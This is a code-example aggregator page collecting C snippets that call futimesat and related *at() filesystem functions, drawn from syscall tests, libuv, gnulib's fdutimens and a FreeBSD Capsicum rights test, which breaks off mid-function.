Пример #1
0
void test_create_file_at()
{
  char *file = alloc_filename("file");
  char *hardlink = alloc_filename("hardlink");
  char *hardlink2 = alloc_filename("hardlink2");
  int dir_fd = get_dir_fd(".");
  struct stat st;
  int fd = openat(dir_fd, file, O_CREAT | O_WRONLY | O_EXCL, 0777);
  t_check(fd >= 0);
  t_check_zero(fstat(fd, &st));
  t_check_zero(close(fd));

  t_check_zero(fstatat(dir_fd, file, &st, 0));
  t_check_zero(faccessat(dir_fd, file, R_OK | W_OK, 0));
  t_check_zero(fchmodat(dir_fd, file, 0777, 0));
  t_check_zero(fchownat(dir_fd, file, -1, -1, 0));
  struct timeval times[2] = { { 123, 321 }, { 456, 654 } };
  t_check_zero(futimesat(dir_fd, file, times));

  t_check_zero(linkat(dir_fd, file, dir_fd, hardlink, 0));
  t_check_zero(renameat(dir_fd, hardlink, dir_fd, hardlink2));
  t_check_zero(unlinkat(dir_fd, hardlink2, 0));
  t_check_zero(unlinkat(dir_fd, file, 0));
  close(dir_fd);
  free(file);
  free(hardlink);
  free(hardlink2);
}
Пример #2
0
int main() {
  struct stat st;
  struct stat st2;

  openat(AT_FDCWD, PWD "openat.txt", O_CREAT | O_WRONLY, 0644);
  assert(stat("openat.txt", &st) == 0); // relative path

  assert(faccessat(AT_FDCWD, PWD "openat.txt", F_OK, 0) == 0);
  assert(fstatat(AT_FDCWD, PWD "openat.txt", &st2, 0) == 0);
  assert(fchmodat(AT_FDCWD, PWD "openat.txt", 0777, 0) == 0);

  struct timeval my_times[2];
  my_times[0].tv_sec = 0;
  my_times[0].tv_usec = 0;
  my_times[1].tv_sec = 0;
  my_times[1].tv_usec = 0;
  assert(futimesat(AT_FDCWD, PWD "openat.txt", my_times, 0) == 0);

  // see /etc/passwd, user 'pgbovine' is 508:100
  assert(fchownat(AT_FDCWD, PWD "openat.txt", 508, 100, 0) == 0);

  assert(linkat(AT_FDCWD, PWD "openat.txt", AT_FDCWD, PWD "openat_hardlink.txt", 0) == 0);
  assert(stat("openat_hardlink.txt", &st) == 0); // relative path

  assert(symlinkat(PWD "openat.txt", AT_FDCWD, PWD "openat_symlink.txt") == 0);
  assert(lstat("openat_symlink.txt", &st) == 0); // relative path

  char res[300];
  assert(readlinkat(AT_FDCWD, PWD "openat_symlink.txt", res, sizeof(res)) > 0);

  assert(renameat(AT_FDCWD, PWD "openat.txt", AT_FDCWD, PWD "openat_newname.txt", 0) == 0);
  assert(stat("openat.txt", &st) != 0); // should not exist anymore
  assert(stat("openat_newname.txt", &st) == 0); // relative path

  unlinkat(AT_FDCWD, PWD "openat_newname.txt", 0);
  unlinkat(AT_FDCWD, PWD "openat_hardlink.txt", 0);
  unlinkat(AT_FDCWD, PWD "openat_symlink.txt", 0);


  mknodat(AT_FDCWD, PWD "mknodat.fifo", S_IFIFO);
  assert(stat("mknodat.fifo", &st) == 0); // relative path
  unlinkat(AT_FDCWD, PWD "mknodat.fifo", 0);

  mkdirat(AT_FDCWD, PWD "mkdirat_dir", 0);
  assert(stat("mkdirat_dir", &st) == 0); // relative path
  unlinkat(AT_FDCWD, PWD "mkdirat_dir", AT_REMOVEDIR); // like 'rmdir'

  return 0;
}
Пример #3
0
void fallback(int f, struct stat* st)
{
#if HAVE_FUTIMENS
	struct timespec tv[2];
#else
	struct timeval tv[2];
#endif
	int ret;

#if HAVE_FUTIMENS /* futimens() is preferred because it gives nanosecond precision */
	tv[0].tv_sec = st->st_mtime;
	if (STAT_NSEC(st) != STAT_NSEC_INVALID)
		tv[0].tv_nsec = STAT_NSEC(st);
	else
		tv[0].tv_nsec = 0;
	tv[1].tv_sec = tv[0].tv_sec;
	tv[1].tv_nsec = tv[0].tv_nsec;

	ret = futimens(f, tv);
#elif HAVE_FUTIMES /* fallback to futimes() if nanosecond precision is not available */
	tv[0].tv_sec = st->st_mtime;
	if (STAT_NSEC(st) != STAT_NSEC_INVALID)
		tv[0].tv_usec = STAT_NSEC(st) / 1000;
	else
		tv[0].tv_usec = 0;
	tv[1].tv_sec = tv[0].tv_sec;
	tv[1].tv_usec = tv[0].tv_usec;

	ret = futimes(f, tv);
#elif HAVE_FUTIMESAT /* fallback to futimesat() for Solaris, it only has futimesat() */
	tv[0].tv_sec = st->st_mtime;
	if (STAT_NSEC(st) != STAT_NSEC_INVALID)
		tv[0].tv_usec = STAT_NSEC(st) / 1000;
	else
		tv[0].tv_usec = 0;
	tv[1].tv_sec = tv[0].tv_sec;
	tv[1].tv_usec = tv[0].tv_usec;

	ret = futimesat(f, 0, tv);
#else
#error No function available to set file timestamps
#endif
	if (ret != 0) {
		/* LCOV_EXCL_START */
		fprintf(stderr, "Error restoring time\n");
		exit(EXIT_FAILURE);
		/* LCOV_EXCL_STOP */
	}
}
Пример #4
0
int fallback(int f, struct stat* st)
{
#if HAVE_FUTIMENS
	struct timespec tv[2];
#else
	struct timeval tv[2];
#endif
	int ret;

#if HAVE_FUTIMENS /* futimens() is preferred because it gives nanosecond precision */
	tv[0].tv_sec = st->st_mtime;
	if (STAT_NSEC(st) != STAT_NSEC_INVALID)
		tv[0].tv_nsec = STAT_NSEC(st);
	else
		tv[0].tv_nsec = 0;
	tv[1].tv_sec = tv[0].tv_sec;
	tv[1].tv_nsec = tv[0].tv_nsec;

	ret = futimens(f, tv);
#elif HAVE_FUTIMES /* fallback to futimes() if nanosecond precision is not available */
	tv[0].tv_sec = st->st_mtime;
	if (STAT_NSEC(st) != STAT_NSEC_INVALID)
		tv[0].tv_usec = STAT_NSEC(st) / 1000;
	else
		tv[0].tv_usec = 0;
	tv[1].tv_sec = tv[0].tv_sec;
	tv[1].tv_usec = tv[0].tv_usec;

	ret = futimes(f, tv);
#elif HAVE_FUTIMESAT /* fallback to futimesat() for Solaris, it only has futimesat() */
	tv[0].tv_sec = st->st_mtime;
	if (STAT_NSEC(st) != STAT_NSEC_INVALID)
		tv[0].tv_usec = STAT_NSEC(st) / 1000;
	else
		tv[0].tv_usec = 0;
	tv[1].tv_sec = tv[0].tv_sec;
	tv[1].tv_usec = tv[0].tv_usec;

	ret = futimesat(f, 0, tv);
#else
#error No function available to set file timestamps
#endif
	return ret;
}
Пример #5
0
/* Older glibc ( < 2.6) doesn't have utimensat, but we can wrap it pretty
 * easily with a lesser accurate futimesat
 */
int utimensat(int dfd, const char *pathname, const struct timespec times[2], int flags)
{
	struct timeval tvs[2];
	if(flags) {}

#if __NR_utimensat
	if(syscall(__NR_utimensat, dfd, pathname, times, flags) == 0)
		return 0;
	/* If the syscall isn't supported, fallback to futimesat */
	if(errno != ENOSYS)
		return -1;
#endif
	tvs[0].tv_sec = times[0].tv_sec;
	tvs[0].tv_usec = times[0].tv_nsec / 1000;
	tvs[1].tv_sec = times[1].tv_sec;
	tvs[1].tv_usec = times[1].tv_nsec / 1000;

	return futimesat(dfd, pathname, tvs);
}
Пример #6
0
static ssize_t uv__fs_futime(uv_fs_t* req) {
#if defined(__linux__)                                                        \
    || defined(_AIX71)
  /* utimesat() has nanosecond resolution but we stick to microseconds
   * for the sake of consistency with other platforms.
   */
  struct timespec ts[2];
  ts[0].tv_sec  = req->atime;
  ts[0].tv_nsec = (uint64_t)(req->atime * 1000000) % 1000000 * 1000;
  ts[1].tv_sec  = req->mtime;
  ts[1].tv_nsec = (uint64_t)(req->mtime * 1000000) % 1000000 * 1000;
  return futimens(req->file, ts);
#elif defined(__APPLE__)                                                      \
    || defined(__DragonFly__)                                                 \
    || defined(__FreeBSD__)                                                   \
    || defined(__FreeBSD_kernel__)                                            \
    || defined(__NetBSD__)                                                    \
    || defined(__OpenBSD__)                                                   \
    || defined(__sun)
  struct timeval tv[2];
  tv[0].tv_sec  = req->atime;
  tv[0].tv_usec = (uint64_t)(req->atime * 1000000) % 1000000;
  tv[1].tv_sec  = req->mtime;
  tv[1].tv_usec = (uint64_t)(req->mtime * 1000000) % 1000000;
# if defined(__sun)
  return futimesat(req->file, NULL, tv);
# else
  return futimes(req->file, tv);
# endif
#elif defined(__MVS__)
  attrib_t atr;
  memset(&atr, 0, sizeof(atr));
  atr.att_mtimechg = 1;
  atr.att_atimechg = 1;
  atr.att_mtime = req->mtime;
  atr.att_atime = req->atime;
  return __fchattr(req->file, &atr, sizeof(atr));
#else
  errno = ENOSYS;
  return -1;
#endif
}
Пример #7
0
int
nix_futimes(int fd, struct nix_timeval const *times, nix_env_t *env)
{
	struct timeval ntimes[2];
	int            rfd;
	int            rc;
  
	XEC_LOG(g_nix_log, XEC_LOG_DEBUG, 0, "fd=%d, times={ %llu, %llu }", fd, times->tv_sec, times->tv_usec);

	if (times == NULL) {
		nix_env_set_errno(env, EFAULT);
		return (-1);
	}

	if ((rfd = nix_fd_get(fd)) < 0) {
		nix_env_set_errno(env, EBADF);
		return (-1);
	}

	ntimes[0].tv_sec  = times[0].tv_sec;
	ntimes[0].tv_usec = times[0].tv_usec;
	ntimes[1].tv_sec  = times[1].tv_sec;
	ntimes[1].tv_usec = times[1].tv_usec;

#if defined(HAVE_FUTIMES)
	rc = futimes(rfd, ntimes);
#elif defined(HAVE_FUTIMESAT)
	rc = futimesat(rfd, NULL, ntimes);
#else
	rc = -1;
	errno = ENOSYS;
#endif

	if (rc != 0) {
		nix_env_set_errno(env, errno);
		return (-1);
	}

	return (0);
}
Пример #8
0
int
fdutimens (int fd, char const *file, struct timespec const timespec[2])
{
    struct timespec adjusted_timespec[2];
    struct timespec *ts = timespec ? adjusted_timespec : NULL;
    int adjustment_needed = 0;
    struct stat st;

    if (ts)
    {
        adjusted_timespec[0] = timespec[0];
        adjusted_timespec[1] = timespec[1];
        adjustment_needed = validate_timespec (ts);
    }
    if (adjustment_needed < 0)
        return -1;

    /* Require that at least one of FD or FILE are potentially valid, to avoid
       a Linux bug where futimens (AT_FDCWD, NULL) changes "." rather
       than failing.  */
    if (fd < 0 && !file)
    {
        errno = EBADF;
        return -1;
    }

    /* Some Linux-based NFS clients are buggy, and mishandle time stamps
       of files in NFS file systems in some cases.  We have no
       configure-time test for this, but please see
       <http://bugs.gentoo.org/show_bug.cgi?id=132673> for references to
       some of the problems with Linux 2.6.16.  If this affects you,
       compile with -DHAVE_BUGGY_NFS_TIME_STAMPS; this is reported to
       help in some cases, albeit at a cost in performance.  But you
       really should upgrade your kernel to a fixed version, since the
       problem affects many applications.  */

#if HAVE_BUGGY_NFS_TIME_STAMPS
    if (fd < 0)
        sync ();
    else
        fsync (fd);
#endif

    /* POSIX 2008 added two interfaces to set file timestamps with
       nanosecond resolution; newer Linux implements both functions via
       a single syscall.  We provide a fallback for ENOSYS (for example,
       compiling against Linux 2.6.25 kernel headers and glibc 2.7, but
       running on Linux 2.6.18 kernel).  */
#if HAVE_UTIMENSAT || HAVE_FUTIMENS
    if (0 <= utimensat_works_really)
    {
        int result;
# if __linux__
        /* As recently as Linux kernel 2.6.32 (Dec 2009), several file
           systems (xfs, ntfs-3g) have bugs with a single UTIME_OMIT,
           but work if both times are either explicitly specified or
           UTIME_NOW.  Work around it with a preparatory [f]stat prior
           to calling futimens/utimensat; fortunately, there is not much
           timing impact due to the extra syscall even on file systems
           where UTIME_OMIT would have worked.  FIXME: Simplify this in
           2012, when file system bugs are no longer common.  */
        if (adjustment_needed == 2)
        {
            if (fd < 0 ? stat (file, &st) : fstat (fd, &st))
                return -1;
            if (ts[0].tv_nsec == UTIME_OMIT)
                ts[0] = get_stat_atime (&st);
            else if (ts[1].tv_nsec == UTIME_OMIT)
                ts[1] = get_stat_mtime (&st);
            /* Note that st is good, in case utimensat gives ENOSYS.  */
            adjustment_needed++;
        }
# endif /* __linux__ */
# if HAVE_UTIMENSAT
        if (fd < 0)
        {
            result = utimensat (AT_FDCWD, file, ts, 0);
#  ifdef __linux__
            /* Work around a kernel bug:
               http://bugzilla.redhat.com/442352
               http://bugzilla.redhat.com/449910
               It appears that utimensat can mistakenly return 280 rather
               than -1 upon ENOSYS failure.
               FIXME: remove in 2010 or whenever the offending kernels
               are no longer in common use.  */
            if (0 < result)
                errno = ENOSYS;
#  endif /* __linux__ */
            if (result == 0 || errno != ENOSYS)
            {
                utimensat_works_really = 1;
                return result;
            }
        }
# endif /* HAVE_UTIMENSAT */
# if HAVE_FUTIMENS
        if (0 <= fd)
        {
            result = futimens (fd, ts);
#  ifdef __linux__
            /* Work around the same bug as above.  */
            if (0 < result)
                errno = ENOSYS;
#  endif /* __linux__ */
            if (result == 0 || errno != ENOSYS)
            {
                utimensat_works_really = 1;
                return result;
            }
        }
# endif /* HAVE_FUTIMENS */
    }
    utimensat_works_really = -1;
    lutimensat_works_really = -1;
#endif /* HAVE_UTIMENSAT || HAVE_FUTIMENS */

    /* The platform lacks an interface to set file timestamps with
       nanosecond resolution, so do the best we can, discarding any
       fractional part of the timestamp.  */

    if (adjustment_needed || (REPLACE_FUNC_STAT_FILE && fd < 0))
    {
        if (adjustment_needed != 3
                && (fd < 0 ? stat (file, &st) : fstat (fd, &st)))
            return -1;
        if (ts && update_timespec (&st, &ts))
            return 0;
    }

    {
#if HAVE_FUTIMESAT || HAVE_WORKING_UTIMES
        struct timeval timeval[2];
        struct timeval *t;
        if (ts)
        {
            timeval[0].tv_sec = ts[0].tv_sec;
            timeval[0].tv_usec = ts[0].tv_nsec / 1000;
            timeval[1].tv_sec = ts[1].tv_sec;
            timeval[1].tv_usec = ts[1].tv_nsec / 1000;
            t = timeval;
        }
        else
            t = NULL;

        if (fd < 0)
        {
# if HAVE_FUTIMESAT
            return futimesat (AT_FDCWD, file, t);
# endif
        }
        else
        {
            /* If futimesat or futimes fails here, don't try to speed things
               up by returning right away.  glibc can incorrectly fail with
               errno == ENOENT if /proc isn't mounted.  Also, Mandrake 10.0
               in high security mode doesn't allow ordinary users to read
               /proc/self, so glibc incorrectly fails with errno == EACCES.
               If errno == EIO, EPERM, or EROFS, it's probably safe to fail
               right away, but these cases are rare enough that they're not
               worth optimizing, and who knows what other messed-up systems
               are out there?  So play it safe and fall back on the code
               below.  */

# if (HAVE_FUTIMESAT && !FUTIMESAT_NULL_BUG) || HAVE_FUTIMES
#  if HAVE_FUTIMESAT && !FUTIMESAT_NULL_BUG
#   undef futimes
#   define futimes(fd, t) futimesat (fd, NULL, t)
#  endif
            if (futimes (fd, t) == 0)
            {
#  if __linux__ && __GLIBC__
                /* Work around a longstanding glibc bug, still present as
                   of 2010-12-27.  On older Linux kernels that lack both
                   utimensat and utimes, glibc's futimes rounds instead of
                   truncating when falling back on utime.  The same bug
                   occurs in futimesat with a null 2nd arg.  */
                if (t)
                {
                    bool abig = 500000 <= t[0].tv_usec;
                    bool mbig = 500000 <= t[1].tv_usec;
                    if ((abig | mbig) && fstat (fd, &st) == 0)
                    {
                        /* If these two subtractions overflow, they'll
                           track the overflows inside the buggy glibc.  */
                        time_t adiff = st.st_atime - t[0].tv_sec;
                        time_t mdiff = st.st_mtime - t[1].tv_sec;

                        struct timeval *tt = NULL;
                        struct timeval truncated_timeval[2];
                        truncated_timeval[0] = t[0];
                        truncated_timeval[1] = t[1];
                        if (abig && adiff == 1 && get_stat_atime_ns (&st) == 0)
                        {
                            tt = truncated_timeval;
                            tt[0].tv_usec = 0;
                        }
                        if (mbig && mdiff == 1 && get_stat_mtime_ns (&st) == 0)
                        {
                            tt = truncated_timeval;
                            tt[1].tv_usec = 0;
                        }
                        if (tt)
                            futimes (fd, tt);
                    }
                }
#  endif

                return 0;
            }
# endif
        }
#endif /* HAVE_FUTIMESAT || HAVE_WORKING_UTIMES */

        if (!file)
        {
#if ! ((HAVE_FUTIMESAT && !FUTIMESAT_NULL_BUG)          \
        || (HAVE_WORKING_UTIMES && HAVE_FUTIMES))
            errno = ENOSYS;
#endif
            return -1;
        }

#if HAVE_WORKING_UTIMES
        return utimes (file, t);
#else
        {
            struct utimbuf utimbuf;
            struct utimbuf *ut;
            if (ts)
            {
                utimbuf.actime = ts[0].tv_sec;
                utimbuf.modtime = ts[1].tv_sec;
                ut = &utimbuf;
            }
            else
                ut = NULL;

            return utime (file, ut);
        }
#endif /* !HAVE_WORKING_UTIMES */
    }
}
Пример #9
0
/*
 * Given a file descriptor, create a capability with specific rights and
 * make sure only those rights work. 
*/
static int
try_file_ops(int filefd, int dirfd, cap_rights_t rights)
{
	struct stat sb;
	struct statfs sf;
	cap_rights_t erights;
	int fd_cap, fd_capcap, dfd_cap;
	ssize_t ssize, ssize2;
	off_t off;
	void *p;
	char ch;
	int ret, is_nfs;
	struct pollfd pollfd;
	int success = -1;

	REQUIRE(fstatfs(filefd, &sf));
	is_nfs = (strcmp("nfs", sf.f_fstypename) == 0);

	REQUIRE(fd_cap = cap_new(filefd, rights));
	CHECK(cap_getrights(fd_cap, &erights) == 0);
	CHECK(rights == erights);
	REQUIRE(fd_capcap = cap_new(fd_cap, rights));
	CHECK(cap_getrights(fd_capcap, &erights) == 0);
	CHECK(rights == erights);
	CHECK(fd_capcap != fd_cap);
	REQUIRE(dfd_cap = cap_new(dirfd, rights));
	CHECK(cap_getrights(dfd_cap, &erights) == 0);
	CHECK(rights == erights);

	ssize = read(fd_cap, &ch, sizeof(ch));
	CHECK_RESULT(read, CAP_READ, ssize >= 0);

	ssize = write(fd_cap, &ch, sizeof(ch));
	CHECK_RESULT(write, CAP_WRITE, ssize >= 0);

	off = lseek(fd_cap, 0, SEEK_SET);
	CHECK_RESULT(lseek, CAP_SEEK, off >= 0);

	ssize = pread(fd_cap, &ch, sizeof(ch), 0);
	ssize2 = pread(fd_cap, &ch, sizeof(ch), 0);
	CHECK_RESULT(pread, CAP_PREAD, ssize >= 0);
	CHECK(ssize == ssize2);

	ssize = pwrite(fd_cap, &ch, sizeof(ch), 0);
	CHECK_RESULT(pwrite, CAP_PWRITE, ssize >= 0);

	p = mmap(NULL, getpagesize(), PROT_NONE, MAP_SHARED, fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP);

	p = mmap(NULL, getpagesize(), PROT_READ, MAP_SHARED, fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP_R);

	p = mmap(NULL, getpagesize(), PROT_WRITE, MAP_SHARED, fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP_W);

	p = mmap(NULL, getpagesize(), PROT_EXEC, MAP_SHARED, fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP_X);

	p = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_SHARED,
	    fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP_RW);

	p = mmap(NULL, getpagesize(), PROT_READ | PROT_EXEC, MAP_SHARED,
	    fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP_RX);

	p = mmap(NULL, getpagesize(), PROT_EXEC | PROT_WRITE, MAP_SHARED,
	    fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP_WX);

	p = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE | PROT_EXEC,
	    MAP_SHARED, fd_cap, 0);
	CHECK_MMAP_RESULT(CAP_MMAP_RWX);

	ret = openat(dfd_cap, "cap_create", O_CREAT | O_RDONLY, 0600);
	CHECK_RESULT(openat(O_CREATE | O_RDONLY),
	    CAP_CREATE | CAP_READ | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0);
	ret = openat(dfd_cap, "cap_create", O_CREAT | O_WRONLY | O_APPEND,
	    0600);
	CHECK_RESULT(openat(O_CREATE | O_WRONLY | O_APPEND),
	    CAP_CREATE | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0);
	ret = openat(dfd_cap, "cap_create", O_CREAT | O_RDWR | O_APPEND, 0600);
	CHECK_RESULT(openat(O_CREATE | O_RDWR | O_APPEND),
	    CAP_CREATE | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0);

	ret = fsync(fd_cap);
	CHECK_RESULT(fsync, CAP_FSYNC, ret == 0);

	ret = openat(dirfd, "cap_fsync", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_RDONLY);
	CHECK_RESULT(openat(O_FSYNC | O_RDONLY),
	    CAP_FSYNC | CAP_READ | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_WRONLY | O_APPEND);
	CHECK_RESULT(openat(O_FSYNC | O_WRONLY | O_APPEND),
	    CAP_FSYNC | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_RDWR | O_APPEND);
	CHECK_RESULT(openat(O_FSYNC | O_RDWR | O_APPEND),
	    CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_RDONLY);
	CHECK_RESULT(openat(O_SYNC | O_RDONLY),
	    CAP_FSYNC | CAP_READ | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_WRONLY | O_APPEND);
	CHECK_RESULT(openat(O_SYNC | O_WRONLY | O_APPEND),
	    CAP_FSYNC | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_RDWR | O_APPEND);
	CHECK_RESULT(openat(O_SYNC | O_RDWR | O_APPEND),
	    CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(unlinkat(dirfd, "cap_fsync", 0) == 0);

	ret = ftruncate(fd_cap, 0);
	CHECK_RESULT(ftruncate, CAP_FTRUNCATE, ret == 0);

	ret = openat(dirfd, "cap_ftruncate", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = openat(dfd_cap, "cap_ftruncate", O_TRUNC | O_RDONLY);
	CHECK_RESULT(openat(O_TRUNC | O_RDONLY),
	    CAP_FTRUNCATE | CAP_READ | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_ftruncate", O_TRUNC | O_WRONLY);
	CHECK_RESULT(openat(O_TRUNC | O_WRONLY),
	    CAP_FTRUNCATE | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_ftruncate", O_TRUNC | O_RDWR);
	CHECK_RESULT(openat(O_TRUNC | O_RDWR),
	    CAP_FTRUNCATE | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(unlinkat(dirfd, "cap_ftruncate", 0) == 0);

	ret = openat(dfd_cap, "cap_create", O_CREAT | O_WRONLY, 0600);
	CHECK_RESULT(openat(O_CREATE | O_WRONLY),
	    CAP_CREATE | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0);
	ret = openat(dfd_cap, "cap_create", O_CREAT | O_RDWR, 0600);
	CHECK_RESULT(openat(O_CREATE | O_RDWR),
	    CAP_CREATE | CAP_READ | CAP_WRITE | CAP_SEEK | CAP_LOOKUP,
	    ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0);

	ret = openat(dirfd, "cap_fsync", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_WRONLY);
	CHECK_RESULT(openat(O_FSYNC | O_WRONLY),
	    CAP_FSYNC | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_RDWR);
	CHECK_RESULT(openat(O_FSYNC | O_RDWR),
	    CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_WRONLY);
	CHECK_RESULT(openat(O_SYNC | O_WRONLY),
	    CAP_FSYNC | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_RDWR);
	CHECK_RESULT(openat(O_SYNC | O_RDWR),
	    CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0);
	CHECK(ret == -1 || close(ret) == 0);
	CHECK(unlinkat(dirfd, "cap_fsync", 0) == 0);

	/*
	 * Note: this is not expected to work over NFS.
	 */
	ret = fchflags(fd_cap, UF_NODUMP);
	CHECK_RESULT(fchflags, CAP_FCHFLAGS,
	    ret == 0 || (is_nfs && errno == EOPNOTSUPP));

	ret = openat(dirfd, "cap_chflagsat", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = chflagsat(dfd_cap, "cap_chflagsat", UF_NODUMP, 0);
	CHECK_RESULT(chflagsat, CAP_CHFLAGSAT | CAP_LOOKUP, ret == 0);
	CHECK(unlinkat(dirfd, "cap_chflagsat", 0) == 0);

	ret = fchown(fd_cap, -1, -1);
	CHECK_RESULT(fchown, CAP_FCHOWN, ret == 0);

	ret = openat(dirfd, "cap_fchownat", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = fchownat(dfd_cap, "cap_fchownat", -1, -1, 0);
	CHECK_RESULT(fchownat, CAP_FCHOWN | CAP_LOOKUP, ret == 0);
	CHECK(unlinkat(dirfd, "cap_fchownat", 0) == 0);

	ret = fchmod(fd_cap, 0644);
	CHECK_RESULT(fchmod, CAP_FCHMOD, ret == 0);

	ret = openat(dirfd, "cap_fchmodat", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = fchmodat(dfd_cap, "cap_fchmodat", 0600, 0);
	CHECK_RESULT(fchmodat, CAP_FCHMOD | CAP_LOOKUP, ret == 0);
	CHECK(unlinkat(dirfd, "cap_fchmodat", 0) == 0);

	ret = fcntl(fd_cap, F_GETFL);
	CHECK_RESULT(fcntl(F_GETFL), CAP_FCNTL, ret >= 0);
	ret = fcntl(fd_cap, F_SETFL, ret);
	CHECK_RESULT(fcntl(F_SETFL), CAP_FCNTL, ret == 0);

	/* XXX flock */

	ret = fstat(fd_cap, &sb);
	CHECK_RESULT(fstat, CAP_FSTAT, ret == 0);

	ret = openat(dirfd, "cap_fstatat", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = fstatat(dfd_cap, "cap_fstatat", &sb, 0);
	CHECK_RESULT(fstatat, CAP_FSTAT | CAP_LOOKUP, ret == 0);
	CHECK(unlinkat(dirfd, "cap_fstatat", 0) == 0);

	ret = fstatfs(fd_cap, &sf);
	CHECK_RESULT(fstatfs, CAP_FSTATFS, ret == 0);

	ret = fpathconf(fd_cap, _PC_NAME_MAX);
	CHECK_RESULT(fpathconf, CAP_FPATHCONF, ret >= 0);

	ret = futimes(fd_cap, NULL);
	CHECK_RESULT(futimes, CAP_FUTIMES, ret == 0);

	ret = openat(dirfd, "cap_futimesat", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = futimesat(dfd_cap, "cap_futimesat", NULL);
	CHECK_RESULT(futimesat, CAP_FUTIMES | CAP_LOOKUP, ret == 0);
	CHECK(unlinkat(dirfd, "cap_futimesat", 0) == 0);

	ret = openat(dirfd, "cap_linkat_src", O_CREAT, 0600);
	CHECK(ret >= 0);
	CHECK(close(ret) == 0);
	ret = linkat(dirfd, "cap_linkat_src", dfd_cap, "cap_linkat_dst", 0);
	CHECK_RESULT(linkat, CAP_LINKAT | CAP_LOOKUP, ret == 0);
	CHECK(unlinkat(dirfd, "cap_linkat_src", 0) == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_linkat_dst", 0) == 0);

	ret = mkdirat(dfd_cap, "cap_mkdirat", 0700);
	CHECK_RESULT(mkdirat, CAP_MKDIRAT | CAP_LOOKUP, ret == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_mkdirat", AT_REMOVEDIR) == 0);

	ret = mkfifoat(dfd_cap, "cap_mkfifoat", 0600);
	CHECK_RESULT(mkfifoat, CAP_MKFIFOAT | CAP_LOOKUP, ret == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_mkfifoat", 0) == 0);

	ret = mknodat(dfd_cap, "cap_mknodat", S_IFCHR | 0600, 0);
	CHECK_RESULT(mknodat, CAP_MKNODAT | CAP_LOOKUP, ret == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_mknodat", 0) == 0);

	/* TODO: renameat(2) */

	ret = symlinkat("test", dfd_cap, "cap_symlinkat");
	CHECK_RESULT(symlinkat, CAP_SYMLINKAT | CAP_LOOKUP, ret == 0);
	CHECK(ret == -1 || unlinkat(dirfd, "cap_symlinkat", 0) == 0);

	ret = openat(dirfd, "cap_unlinkat", O_CREAT, 0600);
	CHECK(ret >= 0);
